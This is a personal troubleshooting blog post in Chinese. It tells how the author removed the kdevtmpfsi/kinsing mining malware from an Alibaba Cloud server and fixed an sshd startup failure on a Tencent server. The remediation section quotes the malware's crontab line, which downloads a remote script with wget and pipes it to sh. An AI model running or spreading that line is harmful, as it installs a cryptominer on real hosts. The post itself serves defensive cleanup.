Linux【问题记录 04】SSH突然无法连接排查2个小时最终解决Failed to start OpenSSH server daemon及阿里云服务器的 kdevtmpfsi 挖矿病毒处理

本文涉及的产品
云服务器 ECS,每月免费额度280元 3个月
云服务器ECS,u1 2核4GB 1个月
简介: Linux【问题记录 04】SSH突然无法连接排查2个小时最终解决Failed to start OpenSSH server daemon及阿里云服务器的 kdevtmpfsi 挖矿病毒处理

1.说明

我有两台云服务器,一台阿里的(买了1年),一台腾讯的(买了3年),都是基本配置1核心2G内存(阿里云盘是40G腾讯的是50G),这几天一直收到阿里云的短信说出现了紧急安全事件:恶意脚本代码执行…

今天早上就登录了阿里云服务器查看了一下top,发现 kdevtmpfsi 的进程 cup 占用快100%了,中招的朋友不少,解决方法如下【一共5个步骤】腾讯官方也有相关的 处理方法

# 1.查看kdevtmpfsi的守护进程kinsing先kill掉【否则kdevtmpfsi进程会不断恢复占用】
[root@aliyun ~]# ps -aux | grep kinsing
# 2.查看kdevtmpfsi的进程并kill掉
[root@aliyun ~]# ps -aux | grep kdevtmpfsi 
# 3.删除/tmp/下kdevtmpfsi相关文件
[root@aliyun ~]# cd /tmp/
[root@aliyun tmp]# rm -rf kdevtmpfsi
# 4.删除/var/tmp/下kinsing相关文件
[root@aliyun ~]# cd /var/tmp/
[root@aliyun tmp]# rm -rf kinsing
# 5.查询并删除定时任务 
  # 查询
  [root@aliyun ~]# crontab -l
  * * * * * wget -q -O - http://195.3.146.118/spr.sh | sh > /dev/null 2>&1
  # 编辑删除 删除全部定时任务 crontab -r
  [root@aliyun ~]# crontab -e

至此,阿里云的服务器问题解决,😢 谁知道,让我哭的是腾讯的云服务器。昨天我还在测试Hadoop,今天使用ssh客户端无法登录,我一想,会不会也是这个病毒…【可惜不是 😳】

2.SSH无法连接问题排查

我先是上控制台进行了实例的自助检测,发现今天上午【连接数出现过达到上限的情况】:

ping了一下服务器,通了…

又确认了一下安全组,没有问题啊…

进行了实例端口验通,也是没有问题…

然后使用腾讯云的控制台登录了服务器:

使用标准登录方式【TCP:22】自然是无法登录的,所以用的是VNC登录:

登录后发现hosts映射和hostname都已经被篡改了,随后查看了 top 没有发现异常,查看 crontab 也没有异常,然后就剩 SSH 服务了:

## 查看服务状态【处理时没有截图】这里复现一下,一直处在【activating(auto-restart)】
[root@VM-0-8-centos ~]# systemctl status sshd.service
● sshd.service - OpenSSH server daemon
   Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled)
   Active: activating(auto-restart) (Result: exit-code) since Fri 2021-08-20 13:38:56 CST; 7s ago
     Docs: man:sshd(8)
           man:sshd_config(5)
  Process: 31925 ExecStart=/usr/sbin/sshd -D $OPTIONS (code=exited, status=255)
 Main PID: 31925 (code=exited, status=255)
Aug 20 13:38:41 VM-0-8-centos systemd[1]: sshd.service: main process exited, code=exited, status=255/n/a
Aug 20 13:38:41 VM-0-8-centos systemd[1]: Failed to start OpenSSH server daemon.
Aug 20 13:38:41 VM-0-8-centos systemd[1]: Unit sshd.service entered failed state.
Aug 20 13:38:41 VM-0-8-centos systemd[1]: sshd.service failed.
Aug 20 13:38:56 VM-0-8-centos systemd[1]: Stopped OpenSSH server daemon.
# 查看报错原因
[root@VM-0-8-centos ~]# sshd -t
Missing privilege separation directory: /var/empty/sshd
# 创建文件夹 
[root@VM-0-8-centos ~]# mkdir -p /var/empty/sshd/etc
# 时区设置
[root@VM-0-8-centos ~]# cd /var/empty/sshd/etc/
[root@VM-0-8-centos etc]# ln -s /etc/localtime localtime
# 启动ssh服务
[root@VM-0-8-centos etc]# systemctl start sshd.service
# 再次查看状态
[root@VM-0-8-centos etc]# systemctl status sshd.service
● sshd.service - OpenSSH server daemon
   Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled)
   Active: active (running) since Fri 2021-08-20 13:48:24 CST; 4min 7s ago
     Docs: man:sshd(8)
           man:sshd_config(5)
 Main PID: 1015 (sshd)
   CGroup: /system.slice/sshd.service
           ├─1015 /usr/sbin/sshd -D
           ├─1742 sshd: unknown [priv]
           └─1743 sshd: unknown [net]

启动ssh服务成功,问题解决。

3.总结

😡 最终我也不知道为什么突然就无法访问,没有病毒木马,没有恶意连接。收获是:排查问题要从源头排查,刚开始没有想到是SSH服务的问题,一直以为是端口护着TCP无法连接。【给大家一个建议,经常修改服务器登录密码。】 👌

相关实践学习
一小时快速掌握 SQL 语法
本实验带您学习SQL的基础语法,快速入门SQL。
7天玩转云服务器
云服务器ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,可降低 IT 成本,提升运维效率。本课程手把手带你了解ECS、掌握基本操作、动手实操快照管理、镜像管理等。了解产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
6天前
|
消息中间件 安全 Unix
SSH配置多台服务器之间的免密登陆以及登陆别名
SSH配置多台服务器之间的免密登陆以及登陆别名
18 1
|
1月前
|
SQL 分布式计算 DataWorks
DataWorks常见问题之dataworks连接FTP服务器失败如何解决
DataWorks是阿里云提供的一站式大数据开发与管理平台,支持数据集成、数据开发、数据治理等功能;在本汇总中,我们梳理了DataWorks产品在使用过程中经常遇到的问题及解答,以助用户在数据处理和分析工作中提高效率,降低难度。
|
1月前
|
弹性计算 Linux 网络安全
连接并管理ECS
连接并管理ECS
52 4
|
2月前
|
监控 关系型数据库 Linux
|
1月前
|
缓存 网络协议 数据可视化
WinSCP下载安装并实现远程SSH本地服务器上传文件
WinSCP下载安装并实现远程SSH本地服务器上传文件
|
24天前
|
运维 Linux Nacos
nacos常见问题之远程访问不报错放到服务器上nacos连接超时如何解决
Nacos是阿里云开源的服务发现和配置管理平台,用于构建动态微服务应用架构;本汇总针对Nacos在实际应用中用户常遇到的问题进行了归纳和解答,旨在帮助开发者和运维人员高效解决使用Nacos时的各类疑难杂症。
54 1
|
2月前
|
开发者 Python
阿里云视觉智能开放平台中,请问这个如何排查?
【2月更文挑战第9天】阿里云视觉智能开放平台中,请问这个如何排查?
38 6
|
11天前
|
网络协议 Python
pythonTCP客户端编程连接服务器
【4月更文挑战第6天】本教程介绍了TCP客户端如何连接服务器,包括指定服务器IP和端口、发送连接请求、处理异常、进行数据传输及关闭连接。在Python中,使用`socket`模块创建Socket对象,然后通过`connect()`方法尝试连接服务器 `(server_ip, server_port)`。成功连接后,利用`send()`和`recv()`进行数据交互,记得在通信完成后调用`close()`关闭连接,确保资源释放和程序稳定性。
|
2月前
|
弹性计算 运维 安全
阿里云服务器Windows和Linux操作系统区别对比
阿里云服务器Windows和Linux操作系统区别对比,性能有差异吗?有,同配置下Linux性能要优于Windows,但这与阿里云无关,仅仅是linux和windows之间的区别。另外,阿里云提供的windows和linux操作系统均为正版授权,用户不需要额外支付许可费用,如何选择?看用户自己的应用程序情况。
|
15天前
|
弹性计算 关系型数据库 MySQL
阿里云数据库服务器价格表,数据库创建、连接和使用教程
阿里云数据库使用流程包括购买和管理。选择所需数据库类型如MySQL,完成实名认证后购买,配置CPU、内存和存储。确保数据库地域与ECS相同以允许内网连接。创建数据库和账号,设置权限。通过DMS登录数据库,使用账号密码连接。同一VPC内的ECS需添加至白名单以进行内网通信。参考官方文档进行详细操作。
76 3